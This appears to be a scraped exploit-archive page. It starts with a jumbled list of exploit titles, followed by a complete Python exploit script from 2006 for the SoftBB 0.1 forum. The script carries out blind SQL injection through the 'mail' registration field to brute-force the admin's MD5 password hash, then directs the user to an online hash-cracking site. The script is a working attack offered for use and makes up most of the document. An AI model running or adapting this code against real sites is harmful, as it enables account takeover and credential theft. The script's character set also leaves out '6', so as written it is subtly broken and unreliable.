477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
51 lines
1.8 KiB
Python
Executable file
51 lines
1.8 KiB
Python
Executable file
#!/usr/bin/env python
|
|
# LOTFREE TEAM 03/2006
|
|
# http://lotfree.next-touch.com/
|
|
# http://membres.lycos.fr/lotfree/sploits/LOTF-SoftBB.py
|
|
#
|
|
# Vulnerability info
|
|
# Product : SoftBB
|
|
# Version : 0.1
|
|
#
|
|
# The field 'mail' in reg.php is used directly in a SQL query :
|
|
# $sql = 'SELECT pseudo,mail FROM '.$prefixtable.'membres WHERE pseudo = "'.add_gpc($pseudoreg).'" OR mail = "'.$mail.'"';
|
|
# We can deduce deduce the result of some sql querys according to the error messages returned
|
|
# The exploit test the characters of the md5 hash one by one using a special query
|
|
import httplib, urllib
|
|
|
|
# Change the following values...
|
|
admin="admin"
|
|
server="localhost"
|
|
path="/forum"
|
|
#
|
|
hash=""
|
|
chars=('a','b','c','d','e','f','1','2','3','4','5','7','8','9','0')
|
|
|
|
print "LOTFREE TEAM SoftBB BruteForcing tool"
|
|
print "-------------------------------------"
|
|
for i in range(1,33):
|
|
print "Brute forcing hash["+str(i)+"]"
|
|
for a in chars:
|
|
params=urllib.urlencode({'pseudo':admin,
|
|
'mdp':'1',
|
|
'mdpc':'1',
|
|
'mail':'" union select pseudo,1 from softbb_membres where pseudo="'+admin+'" and substr(mdp,'+str(i)+',1)="'+a+'" limit 1,1#',
|
|
'condok':'true'})
|
|
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
|
|
conn = httplib.HTTPConnection(server)
|
|
conn.request("POST", path+"/index.php?page=reg", params, headers)
|
|
response = conn.getresponse()
|
|
data = response.read()
|
|
conn.close()
|
|
if data.find("Ce pseudonyme est d")>0:
|
|
hash=hash+a
|
|
continue
|
|
|
|
print
|
|
if len(hash)==32:
|
|
print "Found hash =",hash,"for account",admin
|
|
print "You can use http://md5.rednoize.com/ to crack the md5 hash"
|
|
else:
|
|
print "Exploit failed... verify the path to the forum or try changing the limit 1,1 in the sql request..."
|
|
|
|
# milw0rm.com [2006-03-19]
|